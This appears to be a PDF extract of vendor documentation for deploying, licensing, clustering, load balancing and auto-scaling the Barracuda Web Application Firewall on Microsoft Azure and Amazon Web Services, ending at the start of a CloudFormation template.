In Microsoft Azure, you can create Services using the WAN IP Address of the Barracuda Web Application Firewall.
To configure a load-balanced set in the old Microsoft Azure Management Portal, do the following:
Complete the steps in Step 1. Deploy the Barracuda Web Application Firewall Instances in Microsoft Azure and Step 2. Set Up a High Availability
Environment With the Barracuda Web Application Firewall, and proceed with the step below:
1. Go to the Microsoft Azure Management Portal.

2. Click Virtual Machines and select Barracuda-WAF1.
3. Click ENDPOINTS, and then click ADD.
4. In the Add an endpoint to a virtual machine window, select Add A STAND-ALONE ENDPOINT and click the arrow to continue.
5. Specify values for the following fields:
a.

5.
a. NAME – Enter the name for the endpoint. Example: HTTP

b. PROTOCOL – Select TCP from the list.
c. PUBLIC PORT – Enter the port number of the service you are load balancing. Example: Port 80 for HTTP traffic.
d. PRIVATE PORT – Enter the internal port that should listen to traffic on the endpoint. Example: 80.
e. Select Create A LOAD-BALANCED SET and click the arrow to continue.
6. In the Configure the load-balanced set window, specify a name for the load-balanced set and assign the values for the load-balancing
probe.
7. Click the check mark to set up a load-balanced set.

8. Repeat the process to add more ports to the load-balanced set.

After you create the load-balanced set for Barracuda-WAF1, add other Barracuda Web Application Firewall virtual machines to the set. Example:
Barracuda-WAF2
1. Go to the Microsoft Azure Management Portal.

2. Click Virtual Machines and select Barracuda-WAF2.
3. Click ENDPOINTS, and then click ADD.
4. In the ADD ENDPOINT window, select ADD AN ENDPOINT TO AN EXISTING LOAD-BALANCED SET and then select the
load-balanced set name from the list. Click the arrow to continue.
5. In the Specify the details of the endpoint window, specify a name for the load-balanced set and then click the check mark.

6. Repeat the process to add more Barracuda Web Application Firewall virtual machines to the load-balanced set.

Amazon Web Services

The Barracuda Web Application Firewall provides proven application security and data loss prevention for your applications on Amazon Web
Service (AWS), including:
The Barracuda Web Application Firewall on Amazon Web Services protects your applications in the cloud.
Public cloud hosted deployment of the Barracuda Web Application Firewall on Amazon Web Services currently supports One-Arm
Proxy Mode.
To meet a variety of performance requirements, the M3 Medium, M3 Large, M3 Extra Large, and M3.2 Extra Large instance types are supported.
Depending on the instance type, you can have:
Up to 8 vCPUs.
Up to 30 GB of memory.
Up to 30 private IP addresses per network interface. To ensure that services are available over the Internet, you can allocate a public IP
address, or Elastic IP address (EIP), to each private IP address.
The Barracuda Web Application Firewall is available hourly in the AWS Marketplace or you can bring your own license (BYOL).
In this article:
Licensing Options
Hourly / Metered
Before You Begin
Step 1 - Create the Amazon VPC Cloud
Step 2 - Add an Internet Gateway to the VPC
Step 3 - Add a Subnet to the VPC
Step 4 - Attach the Internet Gateway to the Route Table
Next Step

Licensing Options
The Barracuda Web Application Firewall AMI is available on Amazon Web Services with the Bring Your Own License (BYOL) and Hourly /
Metered option.
With the Bring Your Own License (BYOL) option, you are required to get the Barracuda Web Application Firewall license token, either by:

With this license option, there will be no Barracuda Web Application Firewall Software charges, but Amazon Elastic Compute Cloud
(Amazon EC2) usage charges on Amazon will be applicable.
For BYOL, Barracuda offers four models. The table below lists each model, the corresponding Instance Type to be used in Amazon Web
Services, the default CPU and Memory for the instance, and the number of Private IP addresses that can be associated per ENI.
If you want to increase the performance of a license that you have already purchased, you can buy additional cores from Barracuda and
reconfigure your VM for a larger instance type.
Barracuda Web Supported Instance Default vCPU Default Memory Maximum Number of
Application Firewall Type in Amazon Web Private IP Addresses
Model Services per ENI
Level 1 m3.medium 1 3.75 GB 6
Level 5 m3.large 2 7.5 GB 10
m4.large 2 8 GB 10
Level 10 m3.xlarge 4 15 GB 15
m4.xlarge 4 16 GB 15
Level 15 m3.2xlarge 8 30GB 30
m4.2xlarge 8 32 GB 15
Hourly / Metered
With the Hourly/Metered licensing option, you complete the purchase or evaluation of the Barracuda Web Application Firewall entirely within the
AWS Marketplace. After the instance is launched, it is provisioned automatically. You are charged hourly for both the Barracuda Web
Application Firewall Software and Amazon Elastic Compute Cloud (Amazon EC2) usage on Amazon. For pricing information, refer to the A
WS Marketplace.
For Hourly / Metered licensing, Barracuda offers four models. The following table lists each instance type with its CPU, memory, and the number
of Private IP addresses that can be associated per ENI.
If you want to increase the performance of an existing VM, configure it with a larger instance type on AWS and you will be charged accordingly by
Amazon. The VM will automatically be reconfigured by Amazon with the resources and capabilities of the larger instance type.
Barracuda Web Supported Instance Default Default Maximum Number of

Application Firewall Type in Amazon Web vCPU Memory Private IP Addresses
Model Services per ENI
Level 1 m3.medium 1 3.75 GB 6
Level 5 m3.large 2 7.5 GB 10
Level 10 m3.xlarge 4 15 GB 15
Level 15 m3.2xlarge 8 30 GB 30
Before You Begin

Before you deploy the Barracuda Web Application Firewall on Amazon Web Services, choose the licensing option (Bring Your Own License
(BYOL) or Hourly / Metered). Then set up an Amazon Virtual Private Cloud (VPC).
A Virtual Private Cloud (VPC) is an isolated virtual network on Amazon Web Services (AWS) Cloud where you can launch AWS resources, such
as Amazon EC2 instances. When creating a VPC, the IP address(es) should be in the form of Classless Inter-Domain Routing (CIDR) block (for

example, 10.0.0.0/16). In a VPC, you can select your own IP address range, create subnets, configure routing tables and network gateways.
The VPC cannot be larger than /16.
For more information about CIDR notation, refer to Classless Inter-Domain Routing on Wikipedia. For information about the number of VPCs that
you can create, refer to Amazon VPC Limits.
To set up a VPC, complete the following steps. If you have already configured a VPC for the Barracuda Web Application Firewall, you can skip
the steps below and continue with Deploying the Barracuda Web Application Firewall on Amazon Web Services.
Step 1 - Create the Amazon VPC Cloud
Perform the steps below to create a VPC:
1. Go to the AWS Management Console.

2. In the Compute & Networking section, click VPC:
3. From the VPC Dashboard, select Your VPCs under VIRTUAL PRIVATE CLOUDS.
4. Click Create VPC.
5. In the Create VPC dialog box, do the following:
a. Enter the IP address in the CIDR Block field.
b. Select Default from the Tenancy drop-down list:
6. Click Yes, Create.
Step 2 - Add an Internet Gateway to the VPC
By default, the instances launched on the Virtual Private Cloud (VPC) cannot communicate with the internet until an Internet Gateway is created
and attached to the VPC.
Perform the following steps to add an internet gateway to your VPC:
1. From the VPC Dashboard, select Internet Gateways under VIRTUAL PRIVATE CLOUDS.
2.

2. Click Create Internet Gateway.

3. In the Create Internet Gateway dialog box, click Yes, Create:
4. Select the internet gateway created in the above step, and then click Attach to VPC:
5. Select the VPC that you created in Step 1, and then click Yes, Attach:
Step 3 - Add a Subnet to the VPC
Perform the following steps to add a subnet to your VPC:
1. From the VPC Dashboard, select Subnets under VIRTUAL PRIVATE CLOUDS.
2. Click Create Subnet.
3. In the Create Subnet dialog box, do the following:
a. Select the created VPC from the VPC drop-down list.
b. Select the availability zone that your VPC resides from the Availability Zone drop-down list.
c. Specify the IP address(es) in the CIDR Block field:

4. Click Yes, Create.
Step 4 - Attach the Internet Gateway to the Route Table
Attach the internet gateway created in Step 2 - Add an Internet Gateway to the VPC to the route table by following the steps below:
1. From the VPC Dashboard, select Subnets under Virtual Private Cloud.
2. In the Subnets list, select the subnet you created in Step 3 - Add a Subnet to the VPC, and note the Route table entry:
3. Now, select Route Tables under Virtual Private Cloud.

4. In the Route Tables list, select the route that you noted down in step 2 above.
5. In the Routes tab, click Edit and specify the following values:
a. Destination – 0.0.0.0/0
b. Target – Should be the internet gateway created in Step 2 - Add an Internet Gateway to the VPC:
6. Click Save.
Next Step
Now that you have set up a VPC for the Barracuda Web Application Firewall, you can continue with Barracuda Web Application Firewall
Deployment and Quick Start Guide for Amazon Web Services. If you encounter network connectivity issues, see Troubleshooting the Barracuda
Web Application Firewall on Amazon Web Services.

Barracuda Web Application Firewall Deployment and Quick Start Guide for Amazon Web Services
The Barracuda Web Application Firewall can be deployed in One-Arm Proxy Mode on Amazon Web Services. This article explains One-Arm
Proxy Mode deployment. Complete the steps in this guide to configure, launch, and license your Barracuda Web Application Firewall instance.
Then log into the Barracuda Web Application Firewall to verify your configuration and change your password.
In this article:
Requirements
Step 1 - Create a Security Group
Step 2 - Create a Network Interface
Step 3 - (Optional) Assign Multiple Private IP Addresses to the Network Interface of the Instance
Step 4 - Allocate and Assign an Elastic IP Address to your Instance
Step 5 - Deploy the Barracuda Web Application Firewall on Amazon Web Services
Step 6 - License the Barracuda Web Application Firewall
Step 7 - Verify Configuration and Change the Password
Next Steps
Requirements
Before you deploy the Barracuda Web Application Firewall on Amazon Web Services, ensure that you have completed the following:
Set up an Amazon Virtual Private Cloud (VPC) for the Barracuda Web Application Firewall.
If you want to use the Bring Your Own Licensing (BYOL) model, get the Barracuda Web Application Firewall license. See Bring Your
Own License (BYOL) .
Step 1 - Create a Security Group
Create a security group with rules specifying allowed protocols, ports and source IP ranges. Multiple security groups can be created with different
rules, and assigned to each instance. For more information on security groups, refer to the AWS article Amazon EC2 Security Groups.
1. Log into the Amazon EC2 Management Console.

2. From the EC2 dashboard, select Security Groups under NETWORK & SECURITY.
3. Click Create Security Group.
4. In the Create Security Group window, do the following:
a. Enter a name to identify the security group.
b. Specify the description for the security group.
c. Select a VPC ID from the list and click Yes, Create.
5. The created group appears in the security group table.
6. Select the security group from the table, and specify the inbound and outbound traffic to be allowed for the instance.
By default, the Barracuda Web Application Firewall web interface listens on port 8000 for HTTP and port 443 for HTTPS. Make sure
these ports (8000 and 443) are allowed by the Inbound rule of the associated security group. Also, add the port(s) through which you
configure the Service(s) for this instance.
Step 2 - Create a Network Interface
Create a network interface using the static IP address, for association with the Barracuda Web Application Firewall later during deployment.

2. From the EC2 dashboard, select Network Interfaces under NETWORK & SECURITY.
3. Click Create Network Interface.
4. In the Create Network Interface window, provide the following information for the network interface:
a. Description – Enter a name for the interface.
b. Subnet – Select a subnet from the list. Make sure to select the subnet of the VPC where you want to create the instance.
c.

4.
c. Private IP – Enter the static primary private IP address. It is recommended to use the Static IP address.
d. Security Groups – Select one or more security groups. Make sure the security group has all the required ports open.
By default, the Barracuda Web Application Firewall web interface listens on port 8000 for HTTP and port 443 for
HTTPS. Make sure these ports (8000 and 443) are added to the Inbound Rule of the security group associated with
the Barracuda Web Application Firewall.
e. Click Yes, Create.
Step 3 - (Optional) Assign Multiple Private IP Addresses to the Network Interface of the Instance
Multiple secondary private IP addresses can be assigned to the network interface of the Barracuda Web Application Firewall instance, depending
on the selected Instance Type, and can be used to create Services on the Barracuda Web Application Firewall. To assign a secondary private IP
address to the Barracuda Web Application Firewall instance, perform the following steps:

2. From the EC2 dashboard, select Network Interfaces under NETWORK & SECURITY.
3. Identify the instance needing a secondary private IP address assignment and right-click on the network interface attached to the
instance.
4. Select Manage Private IP Addresses.
5. In the Manage Private IP Addresses window, do the following:
a. Click Assign a secondary private address.
b. In the Address field, enter a specific IP address that is within the subnet range for the instance.
c. (Optional) Select Allow reassignment to allow the secondary private IP address to be reassigned if it is already assigned to
another network interface.
d. Click Yes, Update, and then click Close.
You can also assign a secondary private IP address to an instance by clicking Instances in the navigation pane. In the Instances table, right-click
on the instance needing a secondary private IP address assignment and select Manage Private IP Addresses. Repeat step 5 above. For more
information, refer to Multiple IP Addresses.
Step 4 - Allocate and Assign an Elastic IP Address to your Instance
When an instance of your Barracuda Web Application Firewall is created, a public IP address is associated with the instance. That public IP
address changes automatically when you STOP and START the Barracuda Web Application Firewall. To resolve this issue, assign a persistent
public IP address to the instance using Elastic IP addressing. For more information, refer to the Amazon Web Services article Elastic IP
Addresses.

2. From the EC2 dashboard, select Elastic IPs under NETWORK & SECURITY.
3. Click Allocate New Address.
4. Click Yes, Allocate to confirm and allocate a new IP address. A random Public IP gets generated and displayed in the Allocate New
Address table.
5. In the Allocate New Address table, right click on the new IP address and select Associate.
6. In the Associate Address window:
a. Select the Instance and the Private IP Address of the instance from the respective lists.
OR
b. Select a Network Interface and the Private IP Address from the respective lists.
c. Select the Allow Reassociation check box.
7. Click Yes, Associate.
If you have configured multiple internal IP addresses to the interface, then follow the steps above to allocate and assign the elastic IP
address to each internal IP address, so that they can be accessed by the outside world.
Step 5 - Deploy the Barracuda Web Application Firewall on Amazon Web Services
In the Amazon VPC that you configured , launch an Amazon EC2 instance with the Barracuda Web Application Firewall AMI image. The Amazon
Launch Instance wizard guides you through the following steps:
1. Log into the AWS Management Console and open the EC2 Management Console.
2. From the top right corner of the page, select the region for the instance. This is important because some Amazon EC2 resources can be
shared between regions.

3. Click Launch Instance.
4. On the Step 1: Choose an Amazon Machine Image (AMI) page, select AWS Marketplace and search for the Barracuda Web
Application Firewall AMI. Click Select next to the Barracuda Web Application Firewall AMI.
5. On the Step 2: Choose an Instance Type page, select an instance type from the All Instance types or General purpose table. Click N
ext: Configure Instance Details to continue.

6. On the Step 3: Configure Instance Details page:

a. Enter the Number of instances you want to launch.
b. Select the appropriate Network from the list to deploy the instance.
c. Select the appropriate Subnet from the list and select the network interface under Network Interface section that was created
in Step 2 - Create a Network Interface.
d. In the Advanced Details pane, keep the default setting for all parameters and click Next: Add Storage.
7. On the Step 4: Add Storage page, the table displays the storage device settings for the instance. Modify the values if required and click
Next: Tag Instance.

8. On the Step 5: Tag Instance page, add/remove the tags for the instance (if required) and click Next: Configure Security Group.
9. On the Step 6: Configure Security Group page, choose Select an existing security group to select and assign the security group(s)
from the existing list, or choose Create a new security group to create a new group (see Step 1 - Create a Security Group for more
information). Click Review and Launch.
By default, the Barracuda Web Application Firewall web interface listens on port 8000 for HTTP and port 443 for HTTPS. Make
sure these ports (8000 and 443) are added to the Inbound Rule of the security group associated with the Barracuda Web
Application Firewall.

10. On the Step 7: Review Instance Launch page, review your settings before launching the instance, and then click Launch.
After you click Launch, Amazon Web Services begins provisioning the Barracuda Web Application Firewall. Allow a few minutes for the Amazon
Web Services Agent and the Barracuda Web Application Firewall image to boot up.
DO NOT restart the Barracuda Web Application Firewall while it is launching.
Step 6 - License the Barracuda Web Application Firewall
If you deployed the Barracuda Web Application Firewall with the Hourly/Metered option, you do not need to license the system; skip
ahead to Step 7 - Verify Configuration and Change the Password.
If you deployed the Barracuda Web Application Firewall with BYOL, complete the licensing and provisioning of your system.

2. From the EC2 Dashboard, select Instances under INSTANCES.
3. In the Instances table, select the Barracuda Web Application Firewall instance you created and note the Elastic IP address.
4.

4. Open the browser and enter the copied Elastic IP address (from step 3) with port 8000 for HTTP. No port is required for HTTPS. For
example:
For HTTP: http://<Public DNS>:8000 (Unsecured)
For HTTPS: https://<Public DNS> (Secured)
The Barracuda Web Application Firewall is not accessible via HTTPS port when it is booting up. Therefore, use ONLY HTTP
port to access the unit when booting. This displays the status of the unit i.e., System Booting. Once the boot process is
complete, you will be redirected to the login page.
5. After the boot process is complete, the Licensing page displays with the following options:
a. I Already Have a License Token – Use this option to provision your Barracuda Web Application Firewall with the license token
you have already obtained from Barracuda Networks. Enter your Barracuda Networks Token and Default Domain to complete
licensing, and then click Provision.
b. I Would Like to Purchase a License – Use this option to purchase the license token for the Barracuda Web Application
Firewall. Provide the required information in the form, accept the terms and conditions, and click Purchase.
c. I Would Like to Request a Free Evaluation – Use this option to get 30 days free evaluation of the Barracuda Web Application
Firewall. Provide the required information in the form, accept the terms and conditions, and click Evaluate.
Step 7 - Verify Configuration and Change the Password
1. Log into the Barracuda Web Application Firewall web interface as the administrator using the URL, as described in step 4 of Licensing
of the Barracuda Web Application Firewall after deploying on Amazon Web Services above. Log in with:
a. Username: admin
b. Password: Instance ID of your Barracuda Web Application Firewall in Amazon Web Services.
2. Navigate to the BASIC > Administration page and enter your old password, new password, and re-enter the new password. Click Save
Password.
Next Steps
Continue with Configuring a Service.

Load Balancing For Clustered Barracuda Web Application Firewall Instances in Amazon Web Services
(AWS)
This guide walks you through the steps to load balance traffic across multiple instances of the Barracuda Web Application Firewall deployed in
Amazon Web Services:
In this article:
Step 1 - Deploy Multiple Barracuda Web Application Firewall Instances in Amazon Web Services
Step 2 - Set Up Load Balancing on the Barracuda Web Application Firewall Instances
Step 3 - Set Up a High Availability Environment with the Barracuda Web Application Firewall
To set up a High Availability environment with multiple Barracuda Web Application Firewall instances in Amazon Web Services, make
sure all services configured on each instance use the WAN IP Address of the Barracuda Web Application Firewall.
Step 1 - Deploy Multiple Barracuda Web Application Firewall Instances in Amazon Web Services
Follow the steps in Deploy the Barracuda Web Application Firewall on Amazon Web Services to deploy multiple Barracuda Web Application
Firewall instances. To license and configure your virtual machine, continue with Barracuda Web Application Firewall Deployment and Quick Start
Guide for Amazon Web Services. In this example, consider two Barracuda Web Application Firewall instances where, Barracuda-WAF1 is the
first unit and Barracuda-WAF2 is the second unit.
Step 2 - Set Up Load Balancing on the Barracuda Web Application Firewall Instances

2. From the EC2 dashboard, select Load Balancers under NETWORK & SECURITY.
3. Click Create Load Balancer. The Create Load Balancer window appears.
4. In the Define Load Balancer page:

a. Load Balancer Name – Enter a name for the load balancer.
b.

4.
b. Create LB Inside – Select the VPC ID under which the Barracuda Web Application Firewall instances are launched.
c. Leave Create an internal load balancer and Enable advanced VPC configuration set to default value.
d. Add the ports where Services are created requiring load balancing.
e. Click Continue.
5. In the Configure Health Check page:
a. Ping Protocol – Keep the default value i.e. HTTP.
b. Ping Port – Set to 8000. By default, the Barracuda Web Application Firewall listens on port 8000. If you are using a different port
for the Barracuda Web Application Firewall, specify that port number.
c. Ping Path – Enter /cgi-mod/index.cgi.
d. In the Advanced Details section, specify required values and click Continue.
6. In the Assign Security Groups page, choose Select an existing security group to select and assign the security group(s) from an
existing list, or choose Create a new security group to create a new group (refer to Creating a Security Group for more information).
Click Continue.
Ensure the selected group has all ports open, which were configured for load balancer in step 4.
7. In the Add EC2 Instances page, select the instances to be added to this load balancer and click Continue.
8. In the Review page, review your settings before creating the load balancer, and then click Create.

9. The Load Balancers table displays the created load balancer details.
The services configured should be accessed using the DNS Name of the created load balancer. For example, in the above example the DNS
Name of the Load Balancer is WAF-LB-678529183 and the HTTP service created on port 80 can be accessible via http://WAF-LB-678529183 / ht
tp://WAF-LB-678529183:80.
Step 3 - Set Up a High Availability Environment with the Barracuda Web Application Firewall
Follow these steps to cluster your Barracuda Web Application Firewall virtual machines in Amazon Web Services:
Before clustering your Barracuda Web Application Firewall virtual machines, ensure the following ports are open in the Security Group
assigned to the Barracuda Web Application Firewall virtual machines:
1. Install each system and ensure that each Barracuda Web Application Firewall is running the same firmware version. Each Barracuda
Web Application Firewall in a cluster must have the same model number and firmware version.
2. Make a backup of each Barracuda Web Application Firewall configuration.
3. No processes should be running on any virtual machine when you link them together. To be sure, go to the ADVANCED > Task
Manager page of each Barracuda Web Application Firewall and verify that no processes are running.
4. From the ADVANCED > High Availability page of Barracuda-WAF1, enter a Cluster Shared Secret password, and click Save
Changes.
5. From the ADVANCED > High Availability page of Barracuda-WAF2, do the following:
a. Enter the same Cluster Shared Secret password, and click Save Changes. Both units in a cluster must have the same Cluster
Shared Secret to communicate with each other.
b. In the Clustered Systems section, enter the WAN IP address of Barracuda-WAF1, and click Join Cluster. Never cancel the
join cluster task when the join is in progress.

b.
The unit initiating the join cluster inherits the configuration from its Peer unit and has its configuration overwritten.
6. On each Barracuda Web Application Firewall, refresh the ADVANCED > High Availability page, and verify the following:
a. Each system's Hostname, serial number and WAN IP address appears in the Clustered Systems list.
b. The identity of the system (Self or Peer) displays in the Type field.
c. The Status is green for all virtual machines in the cluster.
7. View the Cluster Status from the BASIC > Dashboard page, under Performance Statistics.
To add more units to the existing cluster, repeat step 1 to 5.a. and then do the following:
From the ADVANCED > High Availability page of the Barracuda Web Application Firewall you are adding to the cluster, enter the WAN
IP address of any system in the cluster in the Peer IP Address field and click Join Cluster. Verify the following:
The configuration of the cluster automatically propagates to the newly added system.
The new unit information propagates to all other units in the cluster.

Disk Expansion of the Barracuda Web Application Firewall on Amazon Web Services (AWS)
The Barracuda virtual machines (VMs) purchased through the Amazon Marketplace prior to April 28, 2015 do not support disk
expansion. If you want to expand the disk for the virtual machines that were deployed prior to this date, you must re-deploy the VMs
using the latest Barracuda Web Application Firewall AMI available in the Amazon Marketplace.
To increase the hard disk size of the deployed Barracuda Web Application Firewall on Amazon Web Services, do the steps below:
Step.1: Note the disk size of the Barracuda Web Application Firewall and stop the instance
Step.2: Create a Snapshot of the Volume
Step.3: Create a New Volume for the Snapshot
Step.4 Detach the Old Volume from the Instance
Step.5: Attach the New Volume to the Instance
Step.6: Restart the Instance to Apply the New Volume
Step.1: Note the disk size of the Barracuda Web Application Firewall and stop the instance
1. Log into the AWS EC2 Management Console.

2. From the EC2 dashboard, select Instance under INSTANCES.
3. In the Instances table, select the Barracuda Web Application Firewall requiring increased disk size and note the following:
a. Instance ID
b. Availability Zone
c. EBS ID by clicking on the Root device value.
4. If the instance is running, ensure you shut down the instance by following the steps below:
a. Right click on the instance, select Instance Settings and then select Change Shutdown Behavior.
b. In the Change Shutdown Behavior window, select Stop from the Shutdown behavior list and click Apply.
6. If the Shutdown behavior is already set to Stop, then choose Cancel.
Step.2: Create a Snapshot of the Volume
1. From the EC2 dashboard, select Volumes under ELASTIC BLOCK STORE.
2.

2. In the search filter, enter the EBS ID noted in step 3.c under Step.1: Note the disk size of the Barracuda Web Application Firewall and
stop the instance.
3. Right click on the volume, and select Create Snapshot.
4. In the Create Snapshot window, enter a name and description, and click Create.
5. Note the snapshot ID.
Step.3: Create a New Volume for the Snapshot
1. From the EC2 dashboard, select Snapshots under ELASTIC BLOCK STORE.
2. In the search filter, enter the snapshot ID noted in step 5 under Step.2: Create a Snapshot of the Volume.
3. Right click on the snapshot when Status displays completed, and click Create Volume.
4. In the Create Volume window, do the following:
a. Select the desired volume type and enter a new volume size.
b. Ensure the Availability Zone matches the instance Availability Zone noted in step 3.b under Step.1: Note the disk size of the
Barracuda Web Application Firewall and stop the instance.
c. Click Create.
5. Note the volume ID.
Step.4 Detach the Old Volume from the Instance
2. In the search filter, enter the EBS ID noted in step 3.c under Step.1: Note the disk size of the Barracuda Web Application Firewall and
stop the instance.
3. Right click on the volume, and select Detach Volume.

4. In the Detach Volume window, click Yes, Detach to confirm.
Step.5: Attach the New Volume to the Instance
2. In the search filter, enter the volume ID noted in step 5 under Step.3: Create a New Volume for the Snapshot.
3. Right click on the volume, and select Attach Volume.
4. In the Attach Volume window, do the following:
a. Enter the name or instance ID in the Instance field, and select the instance noted in step 3.a under Step.1: Note the disk size of
the Barracuda Web Application Firewall and stop the instance.
b. Ensure the device name is /dev/xvda.
c. Click Attach.
Step.6: Restart the Instance to Apply the New Volume
1. From the EC2 dashboard, select Instance under INSTANCES.

2. In the Instances table, select the Barracuda Web Application Firewall instance to which the new volume was attached in step 4 under St
ep.5: Attach the New Volume to the Instance.
3. Right click on the instance, select Instance State and then select Start.
4. In the Start Instances window, choose Yes, Start. If the instance fails to start, and the volume being expanded is a root volume, verify
that you attached the expanded volume using the same device name as the original volume, i.e /dev/xvda.

Troubleshooting the Barracuda Web Application Firewall on Amazon Web Services

To troubleshoot the Barracuda Web Application Firewall on Amazon Web Services, log in to the Amazon Web Services web interface, right click
on the Barracuda Web Application Firewall instance and select Get System Log to view the console logs.
To use the Barracuda Web Application Firewall troubleshooting tools, log into the Barracuda Web Application Firewall web interface with your
credentials. Go to the ADVANCED > Troubleshooting page. The page provides various tools you can use to resolve network connectivity
issues that may impact the performance of your Barracuda Web Application Firewall:
Support Connection can establish a secure tunnel connection to Barracuda Central so that a Barracuda technician can help you
diagnose issues. Click Establish Connection To Barracuda Support Center to establish a connection to Barracuda Central. Contact B
arracuda Networks Technical Support for assistance.
Problem Report generates a report of all logs (Web Firewall Logs, Access Logs, Audit Logs, Network Firewall Logs and System Logs),
backup, configuration and temporary files as well as the internal state of the system.
Network Connectivity Tests provides access to a command line utility which includes ping, telnet, Dig/NS-lookup, traceroute, etc.,
which you can use to diagnose potential network problems/issues.
TCP Dump provides access to a command line utility which includes TCP Dump, which allows the user to intercept and capture the
TCP/IP and other packets transmitted or received over the network to which the Barracuda Web Application Firewall is connected.
Session recording enables you to capture requests from and responses to the Barracuda Web Application Firewall for a specified Client
IP Address or User ID. The captured session is stored in an XML file.
See the ADVANCED > Troubleshooting page for details and procedures.

Auto Scaling of Barracuda Web Application Firewall using CloudFormation Template on Amazon Web
Services
The Barracuda Web Application Firewall can be deployed on AWS using the CloudFormation Template. The Barracuda Web Application Firewall
integrates with various AWS services to provide Auto Scaling capabilities that enable the Barracuda Web Application Firewall deployment to
scale up/down based on auto scale metrics such as CPU utilization and bandwidth.
Deployment using the CloudFormation template also enables you to bootstrap the configuration of the Barracuda Web Application Firewall. The
initial deployment will allow you to specify the service configuration during launch. Later, when new instances appear, they will automatically
synchronize the configuration from the previously deployed Barracuda Web Application Firewall instances and serve traffic with complete
configuration.
You can define the scaling polices for your instances and set the minimum and maximum number of instances to be used on demand. Auto
Scaling can be used for applications that have stable demand as well as for applications that experience hourly, daily, or weekly variability in
usage. For more information on AWS Auto Scaling, refer to the AWS article.
The latest Barracuda CloudFormation Template (CFT) is available < HERE >. This CFT will deploy the Barracuda Web Application Firewall with
the basic service configuration and set up the necessary AWS services (Auto Scale Groups and Launch Configurations, CloudWatch
Alarms, SNS Email Notifications, IAM Roles and S3 Buckets) for successful Auto Scaling and bootstrapping
This CFT deploys the Barracuda Web Application Firewall into a pre-existing VPC deployment to secure the servers. A typical deployment would
look like this:
1. Currently, the Barracuda CFT works only with hourly models of the Barracuda Web Application Firewall.
2. The latest Barracuda WAF AMI ID’s are available in a mapping table in the CFT.
The Barracuda CloudFormation Template (CFT) includes:
The number of Barracuda Web Application Firewall instances to be deployed and provisioned.
Creates an IAM role that can be used to access the S3 storage and create the S3 bucket for the stack. Typically, an S3 bucket stores the
instance data such as serial number and primary IP address (i.e., WAN IP address) of the deployed Barracuda Web Application Firewall
VM(s).
Security group created and attached to the deployed Barracuda Web Application Firewall instances.
Alarms created for CPU and network usage to determine the scaling up/down of instances.
In this article:
AWS Services required for the Auto Scaling Setup

Prerequisites
Default Values of the Barracuda Web Application Firewall CloudFormation Template
Best Practices

Number of Instances
Alarms
Next Step
AWS Services required for the Auto Scaling Setup
The following are the AWS services required for the auto scaling setup:
Virtual Private Cloud (VPC)

Elastic Compute Cloud (EC2)
CloudFormation
Simple Storage Service (S3)
SNS
CloudWatch
Identity and Access Management (IAM)
Prerequisites
Latest Barracuda Web Application Firewall CFT Template.

Availability Zone(s), VPC ID, and subnet ID where you want to deploy the Barracuda Web Application Firewall and protect your servers.
Elastic Load Balancer to load balance the traffic between the deployed Barracuda Web Application Firewalls. For more information, see
Elastic Load Balancing in the AWS documentation.
Ability to create an IAM Role with access to S3. The CFT will create an IAM role that has permissions to create and modify an S3 bucket.
The S3 bucket stores the IP address and serial number details of the deployed Barracuda Web Application Firewall instances. The IAM
Role uses "AssumeRole" and "STS keys" for maximum security while accessing the S3 bucket.
Default Values of the Barracuda Web Application Firewall CloudFormation Template
The following are the default values of the Barracuda CloudFormation Template (CFT). You can modify the values as needed.
ScalingMinSize - The minimum number of Barracuda Web Application Firewall instances to be deployed initially to serve the web traffic.
Default: 1
Scaling MaxSize - The maximum number of instances to be scaled up to handle the traffic whenever required. Default: 4
Instance Type - Instance type to be used in Amazon Web Services (AWS). Default: m3.medium
Health Check Grace Period for Auto Scaling is set to 1200 seconds.
Pause Time for Update Policy is set to 600 seconds.
Security Group with the following ports opened:
Port Protocol Description
8000 TCP Provides HTTP access to the Barracuda

Web Application Firewall web interface.
8443 TCP Provides HTTPS access to the Barracuda

Web Application Firewall web interface.
8002 TCP Required for clustering the instances and

to auto scale the instances up/down.
32575 TCP Required for clustering the instances and

32576 UDP Required for clustering the instances and

Server Port specified in the CFT when TCP Required for the service(s) configured on
creating the Stack the Barracuda Web Application Firewall.
Default Cool Down time for scaling the instances up/down is set to 300 seconds.
Alarms for CPU and Bandwidth. Note: These alarms are designed in such a way as to ensure that auto scaling does not lead to
instability. The alarms will scale up quickly and scale down slowly to ensure traffic to the site is not disrupted.
Alarm Type Threshold Value (Average) Action Evaluation Periods
Network-In High Alarm 70% of max throughput for 5 Bring up one instance 5 minutes
minutes
Network-In Low Alarm < 50% of max throughput for 2 Bring down one instance 2 hours 30 minutes
hours 30 minutes"

Network-Out High Alarm 70% of max throughput for 5 Bring up one instance 5 minutes
minutes
Network-Out Low Alarm < 50% of max throughput for 2 Bring down one instance 2 hours 30 minutes
hours 30 minutes"
CPU High Alarm > 85% for 5 minutes Bring up one instance 5 minutes
CPU Normal Alarm < 60% for 2 hours 30 minutes Bring up one instance 2 hours 30 minutes
Best Practices
Following are the best practices that should be considered to have an optimal deployment:
Number of Instances
It is ideal to run the CloudFormation Template (CFT) with the Minimum Instances set to one (1), as clustering may not work as designed if two
instances boot up at the same time. This issue will be fixed in a later release. You can add more instances by modifying the Auto scaling
configuration on the AWS EC2 console. Auto Scaling groups are available in the Amazon EC2 Management Console.
Alarms
The CloudFormation Template includes predefined alarms that are triggered based on the set metrics. These alarms may scale up new
instances, or scale down older instances based on the alarm configuration. It is recommended that you deploy a test setup, perform the auto
scaling test, and modify the alarms as per your requirement. For instance, there may be cases where you want the instances to scale up later, or
scale down earlier based on your testing. In such cases, you can either modify the CFT before uploading it, or modify the alarm in the Amazon
CloudWatch Management Console after deploying the CFT.
The Barracuda CloudFormation Template includes alarms that are based on the following principles for optimal usage:
Scale Up Early – The “Scale Up” alarms are set to trigger early when the traffic flow/CPU increases. Scaling up the instance(s) early
when the instance encounters high traffic flow or CPU usage ensures the service works without interruption and the requests are load
balanced between the Barracuda Web Application Firewall instances for optimal performance.
Scale Down Slowly – To prevent thrashing of instances being brought up and down continually, the alarms are designed to scale down
slowly. The time taken to scale down an instance should ideally be at least an hour or more, to ensure that there are sufficient instances
available to handle the available load smoothly, and auto scaling does not happen until it is absolutely required.
Next Step
Continue with the How Barracuda CloudFormation Template (CFT) Works article.

Barracuda CloudFormation Template (CFT)

{
"AWSTemplateFormatVersion": "2010-09-09",
